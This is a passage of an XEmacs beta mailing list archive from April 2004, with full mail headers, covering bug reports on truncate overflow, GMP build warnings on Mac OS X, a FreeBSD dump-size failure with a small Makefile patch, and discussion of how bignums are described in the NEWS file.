HAVE_RATIO Fprovide (intern ("ratio")); #endif #ifdef HAVE_BIGFLOAT Fprovide (intern ("bigfloat")); #endif -- Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN Ask not how you can "do" free software business; ask what your business can "do for" free software. From xemacs-beta-admin@xemacs.org Mon Apr 19 07:21:06 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3JBL2s18592; Mon, 19 Apr 2004 07:21:02 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3JBKuB18487 for xemacs-beta-mailman@xemacs.org; Mon, 19 Apr 2004 07:20:56 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3JBKsx18449 for turnbull@tux.org; Mon, 19 Apr 2004 07:20:54 -0400 Received: from tleepslib.sk.tsukuba.ac.jp (tleepslib.sk.tsukuba.ac.jp [130.158.98.109]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3JBKrs18424 for ; Mon, 19 Apr 2004 07:20:53 -0400 Received: from steve by tleepslib.sk.tsukuba.ac.jp with local (Exim 3.36 #1 (Debian)) id 1BFWpW-0001oz-00; Mon, 19 Apr 2004 20:20:50 +0900 To: Lars Brinkhoff Cc: XEmacs Beta Subject: Re: [Bug: 21.4.6] truncate range error References: <85brlob90y.fsf@junk.nocrew.org> Organization: The XEmacs Project From: "Stephen J. Turnbull" Date: Mon, 19 Apr 2004 20:20:49 +0900 In-Reply-To: <85brlob90y.fsf@junk.nocrew.org> (Lars Brinkhoff's message of "19 Apr 2004 11:40:29 +0200") Message-ID: <87ad18usby.fsf@tleepslib.sk.tsukuba.ac.jp> User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.4 (Portable Code, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , >>>>> "Lars" == Lars Brinkhoff writes: Lars> When I try to evaluate the last espression, I get this error: Lars> Arithmetic range error: "truncate", 536870912.1 Lars> Shouldn't truncate be able to return integers > 536870911? Interesting, I should think so. Jerry, when you fix this, how about adding a test in lisp-tests.el? -- Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN Ask not how you can "do" free software business; ask what your business can "do for" free software. From xemacs-beta-admin@xemacs.org Mon Apr 19 07:55:25 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3JBt3s16898; Mon, 19 Apr 2004 07:55:03 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3JBsSA16413 for xemacs-beta-mailman@xemacs.org; Mon, 19 Apr 2004 07:54:28 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3JBsP716362 for turnbull@tux.org; Mon, 19 Apr 2004 07:54:25 -0400 Received: from kcte.net (kcte.net [199.239.248.2]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3JBrps15886; Mon, 19 Apr 2004 07:53:51 -0400 Received: from grendal.frinabulax.org (68-69-36-139.mgtnwv.adelphia.net [68.69.36.139]) by kcte.net (8.12.11/8.12.11) with ESMTP id i3JBrmnj054946 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=OK); Mon, 19 Apr 2004 07:53:48 -0400 (EDT) Received: from localhost (localhost [127.0.0.1]) by grendal.frinabulax.org (8.12.11/8.12.11) with ESMTP id i3JBrh0V005588; Mon, 19 Apr 2004 07:53:43 -0400 (EDT) Date: Mon, 19 Apr 2004 07:53:43 -0400 (EDT) From: robert delius royar Reply-To: robert delius royar To: "Stephen J. Turnbull" cc: XEmacs Beta List Subject: Re: GMP causes spew of warnings on Mac OS X In-Reply-To: <87d664wbfy.fsf@tleepslib.sk.tsukuba.ac.jp> Message-ID: References: <87y8oswfyp.fsf@tleepslib.sk.tsukuba.ac.jp> <87d664wbfy.fsf@tleepslib.sk.tsukuba.ac.jp> Organization: An Apple OS X XEmacs missionary Priority: NEW Precedence: first-class MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Virus-Scanned: clamd / ClamAV version 0.68-1, clamav-milter version 0.67a X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , On Mon, 19 Apr 2004 about 18:42 +0900 UTC Stephen J. Turnbull wrote: > >>>>> "robert" == robert delius royar writes: > > robert> works with the April 15 CVS of 21.5 > > ... by that you mean configuring --use-number-lib=gmp and building > does _not_ spew warnings about undefined macros during the compile? Yes, there are no warnings such as you had with --use-number-lib=gmp (--use-union-type is also in the config). I just compiled the latest CVS and installed. Here is the configuration information: uname -a: Darwin grendal.frinabulax.org 7.3.0 Darwin Kernel Version 7.3.0: Fri Mar 5 14:22:55 PST 2004; root:xnu/xnu-517.3.15.obj~4/RELEASE_PPC Power Macintosh powerpc ./configure '--with-x11' '--with-mule' '--with-widgets=athena' '--with-athena=3d' '--with-dialogs=athena' '--error-checking=none' '--debug=no' '--package-path=/Users/royar/usr/local/xemacs/xemacs-packages' '--prefix=/Users/royar/usr/local' '--with-prefix' '--cflags=-no-cpp-precomp -Os' '--pdump' '--with-ldap=no' '--use-union-type' '--with-xmu' '--with-xim=no' '--with-sound=esd' '--with-xfs=no' '--dynamic=yes' '--use-number-lib=gmp' -- Dr. Robert Delius Royar Associate Professor of English Morehead State University Morehead, Kentucky From xemacs-beta-admin@xemacs.org Mon Apr 19 08:08:03 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3JC82s28708; Mon, 19 Apr 2004 08:08:02 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3JC7FG28033 for xemacs-beta-mailman@xemacs.org; Mon, 19 Apr 2004 08:07:15 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3JC7EN28016 for turnbull@tux.org; Mon, 19 Apr 2004 08:07:14 -0400 Received: from mail009.syd.optusnet.com.au (mail009.syd.optusnet.com.au [211.29.132.64]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3JC7As27965 for ; Mon, 19 Apr 2004 08:07:11 -0400 Received: from c18072.rivrw2.nsw.optusnet.com.au (c211-30-201-5.rivrw2.nsw.optusnet.com.au [211.30.201.5]) by mail009.syd.optusnet.com.au (8.11.6p2/8.11.6) with ESMTP id i3JC78104933 for ; Mon, 19 Apr 2004 22:07:08 +1000 To: xemacs-beta@xemacs.org Subject: Re: GMP causes spew of warnings on Mac OS X References: <87y8oswfyp.fsf@tleepslib.sk.tsukuba.ac.jp> <87d664wbfy.fsf@tleepslib.sk.tsukuba.ac.jp> From: Malcolm Purvis X-Face: "t>8w.Nd-q:ml[PuI`{tr%l5Y~,sBj?fR1G.q`GM6)3RK+ll4EOE_1Goun~_6nt.5q,rU]` Q,Kxq+|~kZdSuw`3)>5+_/EcS2MS={U]o-eU!y?G(&'dd~\jX|faymzH|72n4oPxOu8c0M2FroLHaA g%#ZHX\p3dIud>Y'+?-@!Om%Z(D2.Fp<*bS8W2Q'{*"WmzMrRZj%)1=|J#3:[`vYdisIP7:`as5Qku ,M(VrTIClqxpH4Z7,_$?ugTWyMq=DQjGEP*M4*/S{Ym{,uq')-b@i_ECSi;Gq+Z[I=kdtX Date: Mon, 19 Apr 2004 22:07:07 +1000 In-Reply-To: <87d664wbfy.fsf@tleepslib.sk.tsukuba.ac.jp> (Stephen J. Turnbull's message of "Mon, 19 Apr 2004 18:42:41 +0900") Message-ID: User-Agent: Gnus/5.110002 (No Gnus v0.2) XEmacs/21.4 (Reasonable Discussion, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , >>>>> "Stephen" == Stephen J Turnbull writes: >>>>> "robert" == robert delius royar writes: robert> works with the April 15 CVS of 21.5 Stephen> ... by that you mean configuring --use-number-lib=gmp and building Stephen> does _not_ spew warnings about undefined macros during the compile? I can confirm that the warning messages are generated when compiling with bleeding edge fink and XEmacs. I also think that we have to assume that building on MacOS X means building with fink. It's just a much more convenient build environment than relying on the user to configure and install random packages. Malcolm -- Malcolm Purvis Q: Why did the chicken cross the Mobius strip? A: To get to the other... uh... err... From xemacs-beta-admin@xemacs.org Mon Apr 19 08:16:07 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3JCG3s04291; Mon, 19 Apr 2004 08:16:03 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3JCFpn03985 for xemacs-beta-mailman@xemacs.org; Mon, 19 Apr 2004 08:15:51 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3JCFon03951 for turnbull@tux.org; Mon, 19 Apr 2004 08:15:50 -0400 Received: from mail008.syd.optusnet.com.au (mail008.syd.optusnet.com.au [211.29.132.212]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3JCFms03893 for ; Mon, 19 Apr 2004 08:15:49 -0400 Received: from c18072.rivrw2.nsw.optusnet.com.au (c211-30-201-5.rivrw2.nsw.optusnet.com.au [211.30.201.5]) by mail008.syd.optusnet.com.au (8.11.6p2/8.11.6) with ESMTP id i3JCFfd13377 for ; Mon, 19 Apr 2004 22:15:45 +1000 To: xemacs-beta@xemacs.org Subject: Re: GMP causes spew of warnings on Mac OS X References: <87y8oswfyp.fsf@tleepslib.sk.tsukuba.ac.jp> <87d664wbfy.fsf@tleepslib.sk.tsukuba.ac.jp> From: Malcolm Purvis X-Face: "t>8w.Nd-q:ml[PuI`{tr%l5Y~,sBj?fR1G.q`GM6)3RK+ll4EOE_1Goun~_6nt.5q,rU]` Q,Kxq+|~kZdSuw`3)>5+_/EcS2MS={U]o-eU!y?G(&'dd~\jX|faymzH|72n4oPxOu8c0M2FroLHaA g%#ZHX\p3dIud>Y'+?-@!Om%Z(D2.Fp<*bS8W2Q'{*"WmzMrRZj%)1=|J#3:[`vYdisIP7:`as5Qku ,M(VrTIClqxpH4Z7,_$?ugTWyMq=DQjGEP*M4*/S{Ym{,uq')-b@i_ECSi;Gq+Z[I=kdtX Date: Mon, 19 Apr 2004 22:15:40 +1000 In-Reply-To: (robert delius royar's message of "Mon, 19 Apr 2004 07:53:43 -0400 (EDT)") Message-ID: User-Agent: Gnus/5.110002 (No Gnus v0.2) XEmacs/21.4 (Reasonable Discussion, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , >>>>> "robert" == robert delius royar writes: robert> Yes, there are no warnings such as you had with --use-number-lib=gmp robert> (--use-union-type is also in the config). I just compiled the latest robert> CVS and installed. Ah! It's a C++ thing. Try again with --xemacs-compiler=g++. gmp.h does check for C++ compilation in a few places, but maybe they don't perform compilations with as so many warnings enabled as we do. Malcolm -- Malcolm Purvis Q: Why did the chicken cross the Mobius strip? A: To get to the other... uh... err... From xemacs-beta-admin@xemacs.org Mon Apr 19 09:35:16 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3JDZ2s15527; Mon, 19 Apr 2004 09:35:02 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3JDYJ914831 for xemacs-beta-mailman@xemacs.org; Mon, 19 Apr 2004 09:34:19 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3JDYHH14794 for turnbull@tux.org; Mon, 19 Apr 2004 09:34:17 -0400 Received: from kcte.net (kcte.net [199.239.248.2]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3JDYHs14787 for ; Mon, 19 Apr 2004 09:34:17 -0400 Received: from grendal ([147.133.56.157]) (authenticated bits=0) by kcte.net (8.12.11/8.12.11) with ESMTP id i3JDXnQ3082153 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 19 Apr 2004 09:33:56 -0400 (EDT) Date: Mon, 19 Apr 2004 09:33:47 -0400 (EDT) From: robert delius royar Reply-To: robert delius royar To: XEmacs Beta List Subject: Re: GMP causes spew of warnings on Mac OS X In-Reply-To: Message-ID: References: <87y8oswfyp.fsf@tleepslib.sk.tsukuba.ac.jp> <87d664wbfy.fsf@tleepslib.sk.tsukuba.ac.jp> Organization: An Apple OS X XEmacs missionary Priority: NEW Precedence: first-class MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Virus-Scanned: clamd / ClamAV version 0.68-1, clamav-milter version 0.67a X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , On Mon, 19 Apr 2004 about 22:15 +1000 UTC Malcolm Purvis wrote: > >>>>> "robert" == robert delius royar writes: > > robert> Yes, there are no warnings such as you had with --use-number-lib=gmp > robert> (--use-union-type is also in the config). I just compiled the latest > robert> CVS and installed. > > Ah! It's a C++ thing. Try again with --xemacs-compiler=g++. > > gmp.h does check for C++ compilation in a few places, but maybe they don't > perform compilations with as so many warnings enabled as we do. > > Malcolm No, the only difference between g++ and gcc compile for the affected files is this warning from g++ cc1plus: warning: "-Wmissing-declarations" is valid for C/ObjC but not for C++ When I remove "-Wmissing-declarations" from the compile, no warnings at all, or rather none for the files that contain #ifdef HAVE_BIGNUM The darwinports' patched files tend to be very close to FreeBSD sources, and that is good for OS X. It is getting easier to compile software on the Mac that compiles on FreeBSD with only minor changes to configure. The problem is primarily (in my experience) with differences in the linker parameter names and the fact that Apple's libtool is very much non-standard and will not recognize directives that GNUlibtool does. The reverse is also the case. I am still seeing problems with cpan and cpanplus caused by these inconsistencies--problems I don't see on FreeBSD. -- Dr. Robert Delius Royar Associate Professor of English Morehead State University Morehead, Kentucky A man can pretend to be unconscious; but *conscious*? -Ludwig Wittgenstein From xemacs-beta-admin@xemacs.org Mon Apr 19 10:20:07 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3JEK3s25578; Mon, 19 Apr 2004 10:20:03 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3JEJRf25043 for xemacs-beta-mailman@xemacs.org; Mon, 19 Apr 2004 10:19:27 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3JEJO725024 for turnbull@tux.org; Mon, 19 Apr 2004 10:19:24 -0400 Received: from mailout04.sul.t-online.com (mailout04.sul.t-online.com [194.25.134.18]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3JEJOs25011 for ; Mon, 19 Apr 2004 10:19:24 -0400 Received: from fwd10.aul.t-online.de by mailout04.sul.t-online.com with smtp id 1BFY6K-0008Ok-03; Mon, 19 Apr 2004 14:42:16 +0200 Received: from redqueen.ath.cx.t-online.de (GuTp2iZUYefCLoDUVwV4IvmF7A4ipF24DwNETsj54KuXIZN4ABh96z@[217.94.101.249]) by fwd10.sul.t-online.com with esmtp id 1BFY4U-0kcL440; Mon, 19 Apr 2004 14:40:22 +0200 To: xemacs-beta@xemacs.org Subject: 21.5, current CVS, problem creating the dump-file From: viteno@t-online.de (Norbert Koch) X-Face: 5*nyF1\39:,h6Sk1<}(t1O5x!y5y6@XzBRq5LAYj;Xzb*Ak,]@$HL@>: c&#dUFU=U8O(+/6T0k{j{1~uS@GVk4zurEEb.~MoSbG2pM4z!~/<@.tcd `uD`fNR+TM\@++x@!/Bq)24"xD_kGn,jqwVQa|R'|FFxgWa+$0x]p>KE9E /Xk0$%a*2*K]"zOtbk9v0sNgwb2H"IOaEjCVolb5&yW`o#w2}!w!M{Dn&{K0t Mail-Followup-To: xemacs-beta@xemacs.org Date: Mon, 19 Apr 2004 14:40:21 +0200 Message-ID: User-Agent: Gnus/5.110002 (No Gnus v0.2) XEmacs/21.4 (Security Through Obscurity, berkeley-unix) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Seen: false X-ID: GuTp2iZUYefCLoDUVwV4IvmF7A4ipF24DwNETsj54KuXIZN4ABh96z X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Hi! At the moment 21.5 does not build on my FreeBSD 4.10-BETA i386, because the dump file is too big: ,---- | Dumping under the name xemacs | if test -f dump-size; then ../lib-src/insert-data-in-exec temacs | xemacs.dmp xemacs ` ./temacs -si`; ret=$? ; if test ${ret} -eq 2; | then rm -f dump-size ; else if test ${ret} -eq 1; then exit 1; | else chmod +x xemacs ; fi ; fi ; fi | dumped_data found at offset 0x39bb20, patching. | Dump file too big for available space (max=3021332, dump=3021344) `---- norbert. From xemacs-beta-admin@xemacs.org Mon Apr 19 10:23:03 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3JEN2s28281; Mon, 19 Apr 2004 10:23:02 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3JEMHw27651 for xemacs-beta-mailman@xemacs.org; Mon, 19 Apr 2004 10:22:17 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3JEMG927624 for turnbull@tux.org; Mon, 19 Apr 2004 10:22:16 -0400 Received: from stephens.ittc.ku.edu (stephens.ittc.ku.edu [129.237.125.220]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3JEMGs27618; Mon, 19 Apr 2004 10:22:16 -0400 Received: from diannao.ittc.ku.edu (diannao.ittc.ku.edu [129.237.126.112]) by stephens.ittc.ku.edu (8.12.10/8.12.10/ITTC-ANTISPAM-ANTIVIRUS-3.0) with ESMTP id i3JELXDu000645; Mon, 19 Apr 2004 09:21:33 -0500 Received: from diannao.ittc.ku.edu by diannao.ittc.ku.edu (8.12.8/KU-4.0-client) id i3JELXHS009123; Mon, 19 Apr 2004 09:21:33 -0500 Received: (from james@localhost) by diannao.ittc.ku.edu (8.12.8/8.12.8/Submit) id i3JELSa6009121; Mon, 19 Apr 2004 09:21:28 -0500 X-Authentication-Warning: diannao.ittc.ku.edu: james set sender to james@eecs.ku.edu using -f To: "Stephen J. Turnbull" Cc: Lars Brinkhoff , XEmacs Beta Subject: Re: [Bug: 21.4.6] truncate range error References: <85brlob90y.fsf@junk.nocrew.org> <87ad18usby.fsf@tleepslib.sk.tsukuba.ac.jp> From: Jerry James X-Face: +5(Pfr,;N>q#6NT,Qi5^TQh-MaUnz#kGN~OW[CQj~RS+sIor( '_8K^f9u^Y#.N`>9oKN$\JpI Date: Mon, 19 Apr 2004 09:21:28 -0500 In-Reply-To: <87ad18usby.fsf@tleepslib.sk.tsukuba.ac.jp> (Stephen J. Turnbull's message of "Mon, 19 Apr 2004 20:20:49 +0900") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.5 (chayote, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-VirusScan: Clean X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , "Stephen J. Turnbull" wrote: >>>>>> "Lars" == Lars Brinkhoff writes: > > Lars> When I try to evaluate the last espression, I get this error: > Lars> Arithmetic range error: "truncate", 536870912.1 > > Lars> Shouldn't truncate be able to return integers > 536870911? > > Interesting, I should think so. > > Jerry, when you fix this, how about adding a test in lisp-tests.el? Interesting that you should instantly think of me ... :-) I do not see a --use-number-lib in Lars' configure line. It's possible that I have developed cataracts, but otherwise this has nothing to do with bignum suport. -- Jerry James http://www.ittc.ku.edu/~james/ From xemacs-beta-admin@xemacs.org Mon Apr 19 11:07:12 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3JF7As11346; Mon, 19 Apr 2004 11:07:10 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3JF6ci10794 for xemacs-beta-mailman@xemacs.org; Mon, 19 Apr 2004 11:06:38 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3JF6bF10765 for turnbull@tux.org; Mon, 19 Apr 2004 11:06:37 -0400 Received: from dspnet.fr.eu.org (dspnet.fr.eu.org [62.73.5.179]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3JF6as10742 for ; Mon, 19 Apr 2004 11:06:36 -0400 Received: by dspnet.fr.eu.org (Postfix, from userid 1007) id A686134E8E; Mon, 19 Apr 2004 17:06:21 +0200 (CEST) Date: Mon, 19 Apr 2004 17:06:21 +0200 From: Olivier Galibert To: xemacs-beta@xemacs.org Subject: Re: 21.5, current CVS, problem creating the dump-file Message-ID: <20040419150621.GA78808@dspnet.fr.eu.org> Mail-Followup-To: Olivier Galibert , xemacs-beta@xemacs.org References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4.2.1i X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , On Mon, Apr 19, 2004 at 02:40:21PM +0200, Norbert Koch wrote: > Hi! > > At the moment 21.5 does not build on my FreeBSD 4.10-BETA i386, > because the dump file is too big: > > ,---- > | Dumping under the name xemacs > | if test -f dump-size; then ../lib-src/insert-data-in-exec temacs > | xemacs.dmp xemacs ` ./temacs -si`; ret=$? ; if test ${ret} -eq 2; > | then rm -f dump-size ; else if test ${ret} -eq 1; then exit 1; > | else chmod +x xemacs ; fi ; fi ; fi > | dumped_data found at offset 0x39bb20, patching. > | Dump file too big for available space (max=3021332, dump=3021344) > `---- At that point, it's supposed to do it again with the new size. Which make do you use (bsd or gnu) and what are the stopping messages you've cut off after the "dump file too big" ones? Something that may help though is: Index: src/Makefile.in.in =================================================================== RCS file: /pack/xemacscvs/XEmacs/xemacs/src/Makefile.in.in,v retrieving revision 1.110 diff -u -r1.110 Makefile.in.in --- src/Makefile.in.in 2004/04/19 06:40:45 1.110 +++ src/Makefile.in.in 2004/04/19 15:05:12 @@ -600,6 +600,7 @@ ret=$$? ; \ if test $${ret} -eq 2; then \ $(RM) dump-size ; \ + exit 0; \ else \ if test $${ret} -eq 1; then \ exit 1; \ From xemacs-beta-admin@xemacs.org Mon Apr 19 11:47:03 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3JFl2s21524; Mon, 19 Apr 2004 11:47:02 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3JFkBk20643 for xemacs-beta-mailman@xemacs.org; Mon, 19 Apr 2004 11:46:11 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3JFkAX20617 for turnbull@tux.org; Mon, 19 Apr 2004 11:46:10 -0400 Received: from mxout2.iskon.hr (mxout2.iskon.hr [213.191.128.16]) by gwyn.tux.org (8.11.6p2/8.9.1) with SMTP id i3JFkAs20597 for ; Mon, 19 Apr 2004 11:46:10 -0400 Received: (qmail 25263 invoked from network); 19 Apr 2004 17:46:08 +0200 X-Remote-IP: 213.191.128.14 Received: from mx.iskon.hr (qmailr@213.191.128.14) by mxout2.iskon.hr with SMTP; 19 Apr 2004 17:46:08 +0200 Received: (qmail 27029 invoked from network); 19 Apr 2004 17:46:07 +0200 X-Remote-IP: 213.191.139.219 Received: from hniksic.iskon.hr (213.191.139.219) by mx.iskon.hr with SMTP; 19 Apr 2004 17:46:07 +0200 To: "Stephen J. Turnbull" Cc: xemacs-patches@xemacs.org, xemacs-beta@xemacs.org Subject: Re: [21.5] Tweak etc/NEWS References: <87hdvgwd80.fsf@tleepslib.sk.tsukuba.ac.jp> From: Hrvoje Niksic Date: Mon, 19 Apr 2004 17:48:02 +0200 In-Reply-To: <87hdvgwd80.fsf@tleepslib.sk.tsukuba.ac.jp> (Stephen J. Turnbull's message of "Mon, 19 Apr 2004 18:04:15 +0900") Message-ID: User-Agent: Gnus/5.1002 (Gnus v5.10.2) XEmacs/21.4 (Rational FORTRAN, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , "Stephen J. Turnbull" writes: > Hrvoje, you're maintainer-of-record for NEWS. Do you mind if I > fiddle with it, or would you prefer to maintain it directly from > submissions? Go ahead. I've never considered myself the exclusive maintainer of NEWS. Experimenting with NEWS (such as Ben adding the summary) might teach us how to better present new features. > +* Changes in XEmacs 21.5 > +======================== > + > +** Summary of user-visible changes: > + > + -- Bignums have been implemented. > + -- Windows users have benefit of the full Win32 Unicode API. > + -- (in process) Xft provides antialiased fonts on X11. > + > +** Bignum implementation. > + > +Integer computations no longer overflow, rational arithmetic "just > +works", and very precise floating point calculation is available. > +This also means that large buffers (over 2^30 = 1GB) can be > +manipulated. I don't think we should advertise bignums as a major feature prior to any benchmarking having been done. The entry also doesn't mention that we depend on external MP libraries, which is not at all obvious to me. Python doesn't, and neither do most other Lisp implementations (e.g. clisp, CMU CL). We might want to include the source of GNU MP (or equivalent) in a `lib/' directory and use it on machines that lack it on the system. For implementational simplicity, we might also want to avoid supporting BSD MP -- but that's obviously Jerry's call. Once we do that, we can really say that we support bignums. From xemacs-beta-admin@xemacs.org Mon Apr 19 12:44:05 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3JGi2s19273; Mon, 19 Apr 2004 12:44:02 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3JGhrv19092 for xemacs-beta-mailman@xemacs.org; Mon, 19 Apr 2004 12:43:53 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3JGhns19000 for turnbull@tux.org; Mon, 19 Apr 2004 12:43:49 -0400 Received: from 